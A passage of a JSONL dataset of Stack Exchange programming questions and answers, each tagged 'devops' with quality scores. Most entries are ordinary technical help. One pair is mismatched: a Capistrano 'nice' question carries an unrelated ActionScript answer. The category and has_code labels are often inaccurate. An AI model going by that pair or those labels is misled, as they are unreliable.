"collected_at": "2026-01-17T15:31:38.819959"}
{"id": "hf_eef8cb3554b4", "question": "<p>I can't seem to figure out what I am doing wrong here. I publish my website to my server and when I try to run it I get the following exception:</p>\n\n<blockquote>\n  <p>Could not load the assembly 'App_Web_kh7-x3ka'. Make sure that it is compiled before accessing the page.</p>\n</blockquote>\n\n<p>Has anyone else ever encountered this?</p>\n", "question_body": "", "answer": "A quick google for \"Make sure that it is compiled before accessing the page.\"\nled me to the following\nhttp://www.velocityreviews.com/forums/t301533-could-not-load-assembly-make-sure-that-it-is-compiled-before-accessing-the-page.html\nAnd the problem might be as described that the application pool / website is not set to the correct version of .NET\nThe following question has another solution as the last reply\nhttp://forums.asp.net/t/1131537.aspx\nFrom the looks up it it would seem your webserver is not properly configured, or that you are refering to a nonexistant/old dll", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.868456"}
{"id": "hf_0340e32cec87", "question": "<p>How could I setup a nice indice on <code>cap:deploy</code>?</p>\n\n<p>I want the remote server to nice the <code>cp</code> commands like so: </p>\n\n<pre><code>nice -n 19 cp ...\n</code></pre>\n", "question_body": "", "answer": "Using E4X syntax in ActionScript 3 I guess that would be something like:\n```\n```\nreport.prop5[0] = false;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.928104"}
{"id": "hf_3e1db5597f11", "question": "<p>Is there a way to print out the diffs like they show when you open them with \"gvim -d\", with all the common code folded away and only the diffs showing in context?  I tried the print menu option, but it printed the entire file that I was currently \"in\", rather than printing the folded diffs.</p>\n", "question_body": "", "answer": "I dont think theres a way to get a side by side printout of the two files being diffed. But, you could use Vim's \"Convert to HTML\" tool on each of the two files being diffed and print those out separately. You could then stack them side by side to get the same effect.\nConvert to HTML is kind of \"pretty printing\" - it saves all of the visual colour/syntax/fold  information.\n```\n```\n:he convert-to-HTML\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:38.965472"}
{"id": "hf_f11eb8319e35", "question": "<p>Does any one know the best way to deploy a resource file to the App_GlobalResource folder of the web application when a feature is activated?</p>\n", "question_body": "", "answer": "Application resource files cannot be deployed via a feature unless you execute some code and start a SharePoint timer job that copies the files to the App_GlobalResources folder on each Web front-end server.\nYou should instead let the SharePoint solutions framework deploy the .RESX files to the App_GlobalResources folder on each server. You can specify application resource files as follows in the manifest.xml file of your WSP solution package:\n```\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Solution SolutionId=\"{185E973C-3A10-4e2a-9E0F-DC14414551F9}\" \n          xmlns=\"http://schemas.microsoft.com/sharepoint/\" \n          DeploymentServerType=\"WebFrontEnd\">\n\n  <ApplicationResourceFiles>\n    <ApplicationResourceFile Location=\"yourappname.resx\"/>\n    <ApplicationResourceFile Location=\"yourappname.en-US.resx\"/>\n  </ApplicationResourceFiles>\n\n ...\n</Solution>\n```\n```\nWhen you deploy the WSP solution package using STSADM or Central Administration, the SharePoint solutions framework will start a timer job that deploys these files to the App_GlobalResources folder of all the Web applications you decided to deploy the solution to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.147571"}
{"id": "hf_d9ed7169163e", "question": "<p>How can I create a table that has its first row and first column both locked, as in Excel, when you activate 'freeze panes'?  I need the table to both scroll horizontally and vertically (a lot of solutions for this exist, but only allow vertical scrolling).</p>\n\n<p>So, when you scroll down in the table, the first row will stay put, since it will have the column headings.  This may end up being in a <code>thead</code>, or it may not, whatever makes the solution easier.</p>\n\n<p>When you scroll right, the first column stays put, since it holds the labels for the rows.</p>\n\n<p>I'm pretty certain this is impossible with CSS alone, but can anyone point me toward a JavaScript solution?  It needs to work in all major browsers.</p>\n", "question_body": "", "answer": "How about a solution where you put the actual \"data\" of the table inside its own div, with\n```\noverflow: scroll;\n```\n? Then the browser will automatically create scrollbars for the portion of the \"table\" you do not want to lock, and you can put the \"table header\"/first row just above that\n```\n<div>\n```\n.\nNot sure how that would work with scrolling horizontally though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.198810"}
{"id": "hf_a2332ecf3cbb", "question": "<p>I am preparing a project proposal for a client who wants to publish video in his website. I need to define which video formats will be allowed, which video sizes, as well as the necessary tools for conversion and preparation. </p>\n\n<p>I have no experience with embedding video in websites so which markup do I need to play video online?</p>\n", "question_body": "", "answer": "You could embed them using a flash player, like Youtube for example.\nA quick way to do this is using some already made player, like the excellent\nJW FLV Player\n, free for non-commercial projects and very cheap for commercial ones.\nIt supports FLV and MP4 video files, you can convert your videos in this formats in a lot of ways, for example using\nffmpegx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.223497"}
{"id": "hf_802c028baa26", "question": "<p>Let's say I want to create the alias %xed for %edit -x. How would I do it?</p>\n", "question_body": "", "answer": "Update:\nThe first response( below) does not accept parameters. So put this snippet at the end of the ipy_user_conf.py file ( it is in your home directory ).\n```\n```\ndef ed_xed(self,arg):\n    ip = self.api\n    return ip.magic.im_class.magic_edit(ip.IP,\" -x %s \"%arg)\n\nip.expose_magic('xed',ed_xed)\n```\n```\nBefore update:\nDoes it has to be %magic?\nYou can use the macro and store magic to reproduce this behavior without the magic %.\n```\n```\nIn [5]: %edit -x\nIn [6]: macro xed 5\nIn [7]: store xed\nIn [8]: xed\n```\n```\nfor magic alias from the documentation ( %magic? ):\nYou can also define your own aliased\n  names for magic functions. In your\n  ipythonrc file, placing a line like:\nexecute\nIPYTHON\n.magic_pf =\nIPYTHON\n.magic_profile\nwill define %pf as a new name for\n  %profile.\nBut I don't know how too add the parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.259899"}
{"id": "hf_4c8f59b089ef", "question": "<p>I'm writing code in Java, using the NetBeans IDE. I keep getting a couple of \"Incompatible Type\" errors. I declare a variable as String and then assign to it the value from a method that returns a String too. The error says that there was expected a type of \"String\" but instead found \"...\" where \"...\" the name of the method I call.</p>\n\n<p>For example, this is a line that gives me the error:</p>\n\n<pre>\nincompatible types\nfound:     encode_monoalphabetic_engine\nrequired:  java.lang.String\n\nencoded = encode_monoalphabetic_engine(string);\n</pre>\n", "question_body": "", "answer": "Perhaps you could post a more complete code snippet?\nIt looks like your method argument\n```\nstring\n```\nisn't a\n```\njava.lang.String\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.323104"}
{"id": "hf_d6b9c861a79a", "question": "<p>we're dealing with a very slow update statement in an Oracle project.</p>\n\n<p>Here's a little script to replciate the issue:</p>\n\n<pre><code>drop table j_test;\n\nCREATE TABLE J_TEST\n(\n  ID  NUMBER(10) PRIMARY KEY,\n  C1   VARCHAR2(50 BYTE),\n  C2   VARCHAR2(250 BYTE),\n  C3   NUMBER(5),\n  C4   NUMBER(10)\n);\n\n-- just insert a bunch of rows\ninsert into j_test (id)\nselect rownum \nfrom &lt;dummy_table&gt;\nwhere rownum &lt; 100000;\n\n-- this is the statement that runs forever (longer than my patience allows)\nupdate j_test\nset C3 = 1,\n    C1 = 'NEU';    \n</code></pre>\n\n<p>There are some environments where the Update-Statement takes just about 20 seconds, some where the statement runs for a few minutes. When using more rows, the problem gets even worse.</p>\n\n<p>We have no idea what is causing this behavior, and would like to have an understanding of what is going on before proposing a solution.</p>\n\n<p>Any ideas and suggestions?\nThanks\nThorsten</p>\n", "question_body": "", "answer": "Try this:\n```\n```\ninsert into j_test (id, C3, C4)\nselect rownum, 1, 'NEU'\nfrom <dummy_table>\nwhere rownum < 100000;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.347121"}
{"id": "hf_5d46e2a3a356", "question": "<p>I am sure making a silly mistake but I can't figure what:</p>\n\n<p>In SQL Server 2005 I am trying select all customers except those who have made a reservation before 2 AM.</p>\n\n<p>When I run this query:</p>\n\n<pre><code>SELECT idCustomer FROM reservations \nWHERE idCustomer NOT IN \n  (SELECT distinct idCustomer FROM reservations \n   WHERE DATEPART ( hour, insertDate) &lt; 2)\n</code></pre>\n\n<p>I get 0 results.</p>\n\n<p>But </p>\n\n<pre><code>SELECT idCustomer FROM reservations \n</code></pre>\n\n<p>returns 152.000 results and the \"NOT IN\" part:</p>\n\n<pre><code>SELECT distinct idCustomer FROM reservations \nWHERE DATEPART ( hour, insertDate) &lt; 2\n</code></pre>\n\n<p>returns only 284 rows</p>\n", "question_body": "", "answer": "```\n```\nSELECT distinct idCustomer FROM reservations\nWHERE DATEPART ( hour, insertDate) < 2\n  and idCustomer is not null\n```\n```\nMake sure your list parameter does not contain null values.\nHere's an explanation:\n```\n```\nWHERE field1 NOT IN (1, 2, 3, null)\n```\n```\nis the same as:\n```\n```\nWHERE NOT (field1 = 1 OR field1 = 2 OR field1 = 3 OR field1 = null)\n```\n```\nThat last comparision evaluates to null.\nThat null is OR'd with the rest of the boolean expression, yielding null. (*)\nnull is negated, yielding null.\nnull is not true - the where clause only keeps true rows, so all rows are filtered.\n(*) Edit:  this explanation is pretty good, but I wish to address one thing to stave off future nit-picking.  (TRUE OR NULL) would evaluate to TRUE.  This is relevant if field1 = 3, for example.  That TRUE value would be negated to FALSE and the row would be filtered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.408232"}
{"id": "hf_c36e893575b1", "question": "<p>I have the following div layout:</p>\n\n\n<img src=\"https://i.stack.imgur.com/bZSnA.jpg\">\n\n\n<p>Everything is fine when I put normal txt elements in both the blue and the orange div. However, when I place an image in the orange div (which is 31px), the elements in the blue div get pushed down by about half the height of the blue div.</p>\n\n<p>(additional info, when hovering over the html for the orange div in firebug, it seems like only half of the image is contained within it, even though to the naked eye it appears fine).</p>\n\n<p>Would appreciate any help, I'm still a bit rusty on the box model. Thanks.</p>\n", "question_body": "", "answer": "I'm not so good with CSS boxes, but could adding: display:inline; to the image style fix the porblem? And/Or adding margin:0px;\nOh and is the brwoser rendering in Quirks mode, since not making it render in Quirks mode could fix some problems too.\nEdit\nBy quirks mode I mean, does your page has a DOCTYPE declaration similar to the one below (although you should off course use the corrext DOCTYPE)\n```\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n```\n```\nmore about DOCTYPES here:\nhttp://htmlhelp.com/tools/validator/doctype.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.449291"}
{"id": "hf_bbe3367a79d5", "question": "<p>I'd like to copy the files that have a specific file extension to a new folder. I have an idea how to use <code>os.walk</code> but specifically how would I go about using that? I'm searching for the files with a specific file extension in only one folder (this folder has 2 subdirectories but the files I'm looking for will never be found in these 2 subdirectories so I don't need to search in these subdirectories). Thanks in advance.</p>\n", "question_body": "", "answer": "```\n```\nimport glob, os, shutil\n\nfiles = glob.iglob(os.path.join(source_dir, \"*.ext\"))\nfor file in files:\n    if os.path.isfile(file):\n        shutil.copy2(file, dest_dir)\n```\n```\nRead the\ndocumentation\nof the shutil module to choose the function that fits your needs (shutil.copy(), shutil.copy2() or shutil.copyfile()).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.485606"}
{"id": "hf_2fd7d0e1bb1d", "question": "<p>In javascript, I've got a block of HTML like this:</p>\n\n<pre><code>&lt;h2&gt;{title}&lt;/h2&gt;\n&lt;p&gt;&lt;a href=\"{url}\"&gt;{content}&lt;/a&gt;&lt;/p&gt;\n</code></pre>\n\n<p>And I'm trying use regex \"match\" to spit out an array of all the {item}'s. So my output should look like:</p>\n\n<pre><code>['title', 'url', 'content']\n</code></pre>\n\n<p>I've gotten as far as:</p>\n\n<pre><code>var pattern = new RegExp(\"\\{[a-zA-Z]+\\}+\");\nvar match = pattern.exec(\"{Sample} bob {text}\");\n</code></pre>\n\n<p>But it's only returning the first tag. </p>\n\n<p>This is just beyond my regex skills. Can anyone help?</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "I think you want:\n```\n```\nvar pattern = new RegExp(\"\\{[a-zA-Z]+\\}+\", \"g\");\n```\n```\nThe second option is a flag telling it to search the entire string and return all matches.\nSee:\nhttp://www.evolt.org/article/Regular_Expressions_in_JavaScript/17/36435/\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.584543"}
{"id": "hf_f3a5652ac9d9", "question": "<p>I am looking for a Windows based library which can be used for parsing a bunch of C files to list global and local variables. The global and local variables may be declared using typedef. The output (i.e. list of global and local variables) can then be used for post processing (e.g. replacing the variable names with a new name).</p>\n\n<p>Is such a library available?</p>\n", "question_body": "", "answer": "Some of the methods available:\nElsa: The Elkhound-based C/C++ Parser\nCIL - Infrastructure for C Program Analysis and Transformation\nSparse - a Semantic Parser for C\nclang: a C language family frontend for LLVM\npycparser: C parser and AST generator written in Python\nAlternately you could write your own using\nlex and yacc\n(or their kin- flex and bison) using a public\nlex specification\nand a\nyacc grammar\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.621024"}
{"id": "hf_950bed95e3e5", "question": "<p>When I try using a <code>Name=\"id\"</code> and\\or <code>x:name=\"id\"</code> I get a compiler error:</p>\n\n<pre><code>The Type 'MyName' was not found. Verify that you are not missing an assembly reference and that all referenced assemblies have been built.\n</code></pre>\n\n<p>When I don't have this specified my control runs just fine. Any suggestions?</p>\n", "question_body": "", "answer": "I've run into this before and believe it's a compiler bug. I ended up just sticking a named\n```\nContentControl\n```\nin my XAML and sticking the user control in it from the code behind. Hopefully someone can share an actual fix for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.645759"}
{"id": "hf_df2b3d93d97a", "question": "<p>What is the <code>@</code> symbol mean in <a href=\"/questions/tagged/oracle\" class=\"post-tag\" title=\"show questions tagged &#39;oracle&#39;\" rel=\"tag\">oracle</a>? </p>\n\n<p>For example:</p>\n\n<pre><code>select * from question_answer@abcd where id = '45'\n</code></pre>\n", "question_body": "", "answer": "It refers to a non-local table, the bit behind the @ is the db descriptor.\n```\n```\nselect * from question_answer@abcd where id = '45'\n```\n```\nMeans select not from the local\n```\nquestion_answer\n```\ntable, but from the table on the db designated as\n```\nabcd\n```\n. The keyword to google for is\n```\ndblink\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.670260"}
{"id": "hf_27a85d3928e7", "question": "<p>I apologize in advance if this question seems remedial.</p>\n\n<p>Which would be considered more efficient in Python:</p>\n\n<p><strong>Standard import</strong></p>\n\n<pre><code>import logging\n\ntry:\n  ...some code...\nexception Exception, e:\n  logging.error(e)\n</code></pre>\n\n<p>...or...</p>\n\n<p><strong>Contextual import</strong></p>\n\n<pre><code>try:\n  ...some code...\nexception Exception, e:\n  import logging\n  logging.error(e)\n</code></pre>\n", "question_body": "", "answer": "They're essentially the same. The Python interpreter will only load a used module\nonce\n, no matter how many times you import it. Changing the location of the import statement only has an effect on where the name is bound -- for example, if your\n```\nimport\n```\nstatement is inside a function, the name can only be used in that function.\nGenerally, though, imports are usually done as close to the \"top\" of a file as possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.719128"}
{"id": "hf_9705a5a5c729", "question": "<p>I would like to create dynamic urls that route to controller actions with an Id value. I've created the following route using a catch-all parameter</p>\n\n<pre><code>routes.MapRoute(\n            \"RouteName\",                                                 \n            \"{id}/{*Url}\",\n            new { controller = \"Controller\", action = \"Action\", id = \"\" }\n        );\n</code></pre>\n\n<p>This works as expected and allows me to use the following Urls:</p>\n\n<p>\"<a href=\"http://website.com/1/fake/url/path\" rel=\"nofollow noreferrer\">http://website.com/1/fake/url/path</a>\" (1 being the id that gets passed to the action method)</p>\n\n<p>Does anyone know a way to achieve it this way instead without creating my own http module?:</p>\n\n<p>\"<a href=\"http://website.com/fake/url/path/1\" rel=\"nofollow noreferrer\">http://website.com/fake/url/path/1</a>\"</p>\n\n<p>Thanks - Mark</p>\n", "question_body": "", "answer": "That's a really difficult one, for me anyway.\nGiven the following route:\n```\n```\nroutes.MapRoute(\"Default\", \"{*token}\", \n    new { controller = \"Home\", action = \"Index\", token = 0 });\n```\n```\nYour controller and supporting classes would be something like this:\n```\n```\n[HandleError]\npublic class HomeController : Controller\n{\n    public ActionResult Index([ModelBinder(typeof(IndexReqquestBinder))] IndexRequest request)\n    {\n        ViewData[\"Title\"] = \"Home Page\";\n        ViewData[\"Message\"] = String.Format(\"We're looking at ID: {0}\", request.ID);\n\n        return View();\n    }\n}\n\npublic class IndexRequest\n{\n    public Int32 ID { get; set; }\n    public IndexRequest(Int32 id)\n    {\n        this.ID = id;\n    }\n}\n\npublic class IndexReqquestBinder : IModelBinder\n{\n    public ModelBinderResult BindModel(ModelBindingContext bindingContext)\n    {\n        if ( null != bindingContext.RouteData.Values[\"token\"] ) {\n            foreach ( String v in bindingContext.RouteData.Values[\"token\"].ToString().Split('/') ) {\n                Int32 id = 0;\n                if ( Int32.TryParse(v, out id) ) {\n                    return new ModelBinderResult(new IndexRequest(id));\n                }\n            }\n\n        }\n        return new ModelBinderResult(new IndexRequest(0));\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.760287"}
{"id": "hf_3a28bf093e08", "question": "<p>How do I install a specific package, like derbytools, with Maven without specifying it as a dependency of project?</p>\n", "question_body": "", "answer": "Here is a sample using the\n```\nmvn install\n```\ngoal.  I used windows style env vars in place of parameters you will need to provide.\n```\n```\nmvn install:install-file -DgroupId=%DERBYTOOLS_GROUP_ID% \\ \n    -DartifactId=%DERBYTOOLS_ARTIFACT_ID% \\\n    -Dversion=%DERBYTOOLS_VERSION% \\\n    -Dpackaging=jar \\\n    -Dfile=%DERBYTOOLS_FILE_PATH%\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.785040"}
{"id": "hf_7bd4e2c96243", "question": "<p>I'm using Spring's dependency injection but I'm running into difficulty loading a resource in my Spring config file. </p>\n\n<p>The resource is an XML file and is in a JAR file on my classpath. I try to access it as follows:</p>\n\n<pre><code>&lt;import resource=\"classpath:com/config/resources.xml\" /&gt;\n</code></pre>\n\n<p>however I keep getting encountering the following error:</p>\n\n<blockquote>\n  <p>Failed to import bean definitions from URL location [classpath:com/config/resources.xml]</p>\n</blockquote>\n\n<p>The JAR file is on the classpath of a Java project, which is in turn used by my web app. Should I really be doing my Spring configuration in the web project as opposed the Java project, or does that matter?</p>\n", "question_body": "", "answer": "If it needs to be in the classpath of your webapp, then you should stick the JAR containing the config file into your WEB-INF/lib directory.\nIf you're using a webapp, then the common convention is use a ContextLoaderListener to ensure a WebApplicationContext is inserted into a standard place in the ServletContext:\n```\n```\n<listener>\n    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\n</listener>\n\n<context-param>\n    <param-name>contextConfigLocation</param-name>\n    <param-value>classpath:/com/config/resources.xml</param-value>\n</context-param>\n```\n```\nThen use\nWebApplicationContextUtils\nto fish the application context out of the servlet context using:\n```\n```\nWebApplicationContext wac = WebApplicationContextUtils.getRequiredWebApplicationContext(getServletContext());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.826892"}
{"id": "hf_1b86f27970e9", "question": "<p>I'm teaching Java EE at the university, and this was a question a student asked. I said \"no\", but I wasn't really sure, so I thought I might ask you mighty developers. :)</p>\n\n<p>Basically, what I'd like to do is to use entities if they were in my context: cat getters, setters, etc, so like normal POJOs. if I use an EJB using its remote inferface, the entities gets decoupled from the core infrastructure, so that's a no-go.</p>\n\n<p>I thought about writing a layer such as this in my MSc thesis. If it's a dead idea, feel free to tell me. If it's not, tell me if you'd like one.</p>\n\n<p>Or if there is such a tool out there, let me know!</p>\n", "question_body": "", "answer": "One alternative is\nthe Spring Framework\n.  Spring provides its own support for binding entity objects to the view and handles the getting/setting for you once it is wired up.  There are many Spring modules to pick and choose from.  Spring MVC and Spring Webflow are both worth checking out.  Spring MVC (IMO) is simpler to get started with, but Sring Webflow allows for more complex navigation and more scope options (ex: flow scope).  If you're looking for a book\nSpring In Action\nis descent.  There are some concepts you will need to tackle (such as dependency injection) in order to use Spring but it is well worth the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.851870"}
{"id": "hf_96410239cd68", "question": "<p>I have a directory full of files and I need to pull the headers and footers off of them. They are all variable length so using head or tail isn't going to work. Each file does have a line I can search for, but I don't want to include the line in the results.</p>\n\n<p>It's usually </p>\n\n<pre><code>*** Start (more text here)\n</code></pre>\n\n<p>And ends with </p>\n\n<pre><code>*** Finish (more text here)\n</code></pre>\n\n<p>I want the file names to stay the same, so I need to overwrite the originals, or write to a different directory and I'll overwrite them myself.</p>\n\n<p>Oh yeah, it's on a linux server of course, so I have Perl, sed, awk, grep, etc.</p>\n", "question_body": "", "answer": "Maybe? Start to Finish with not-delete.\n```\n```\n$ sed -i '/^\\*\\*\\* Start/,/^\\*\\*\\* Finish/d!' *\n```\n```\nor...less sure of it...but, if it works, should remove the Start and Finish lines as well:\n```\n```\n$ sed -i -e '/./,/^\\*\\*\\* Start/d' -e '/^\\*\\*\\* Finish/,/./d' *\n```\n```\n```\nd!\n```\nmay depend on the build of\n```\nsed\n```\nyou have -- not sure.\nAnd, I wrote that entirely on (probably poor) memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.903649"}
{"id": "hf_fed4242471fe", "question": "<p>I am writing an algorithm to find the dominating set of a tournament graph. Is the minimum spanning tree of a directed graph equivalent to the dominating set of the graph? In other words, if I find the smallest MST for the tournament graph (by iterating through all of the vertices), can I then say this is equivalent to the dominating set of the graph?</p>\n", "question_body": "", "answer": "No, because the MST will include all vertices of the graph, and the dominating set might not.\nSee for example the graph here:\nhttp://en.wikipedia.org/wiki/Tournament\n```\n_\n```\n(graph\n```\n_\n```\ntheory)\nVertices 2 and 4 create a dominating set, and not a spanning tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:39.965459"}
{"id": "hf_593447730232", "question": "<p>I have a datagridview where the users can select which subset of columns to view. \nThe problem I am having is that when I change the columns being displayed, the column widths are only being determined by the width of the Header Cells, not the data in it.\nI do have each column set to AutoSizeMode = AllCells.</p>\n\n<p>If a new row is added, the columns become the correct width. But when the set of columns is changed, the widths are wrong.</p>\n", "question_body": "", "answer": "Hmm... can't say I've seen that myself, but (as a workaround) you could try toggling the resize mode after you change the columns:\n```\n```\ndgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.None;\ndgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;\n```\n```\nWorth a try...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.002328"}
{"id": "hf_3971a78efe5c", "question": "<p>Is there a quick-and-dirty way to tell programmatically, in shell script or in Perl, whether a path is located on a remote filesystem (nfs or the like) or a local one? Or is the only way to do this to parse /etc/fstab and check the filesystem type?</p>\n", "question_body": "", "answer": "You can use \"df -T\" to get the filesystem type for the directory, or use the -t option to limit reporting to specific types (like nfs) and if it comes back with \"no file systems processed\", then it's not one of the ones you're looking for.\n```\n```\ndf -T $dir | tail -1 | awk '{print $2;}'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.026770"}
{"id": "hf_e0b7cdf638a4", "question": "<p>In the .xsd file for a typed DataSet in .NET, there's a <code>&lt;Connections&gt;</code> section that contains a list of any data connections I've used to set up the DataTables and TableAdapters.</p>\n\n<p>There are times when I'd prefer not to have those there.  For instance, sometimes I prefer to pass in a connection string to a custom constructor and use that rather than look for one in settings, .config, etc.</p>\n\n<p>But it seems like if I remove the connection strings from that section (leaving it empty), or remove the section entirely, the DataSet code-generation tool freaks out.  Whereas if I <em>don't</em> remove them, the DataSet gripes when I put it in a different project because it can't find the settings for those connection strings.</p>\n\n<p>Is there any way I can tell a typed DataSet not to worry about any connections?  (Obviously I'll have to give it a connection if I change any TableAdapter SQL or stored procs, but that should be <em>my</em> problem.)</p>\n", "question_body": "", "answer": "This has bugged me for a long time as well and I did some testing recently.  Here is what I came up with.  For the record, I'm using VS 2008 SP1.\nDatasets\nwill\nstore connection string information whether you want them to or not.\nYou\ncan\nmake sure datasets won't store passwords in their connection strings.\nYou can either have the connection string stored in the 'connections' section the .xsd file or you can have it stored in the app.config file and referenced from the 'connections' section of the .xsd file.  Either way, the 'connections' section appears to be a requirement.\nIf you find a way to make it work, please post here.  Currently, I store the connection string in the xsd file and make sure I'm not storing the password.  Then, when I use it it code, I always create my own connection and never use one stored in the dataset.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.052202"}
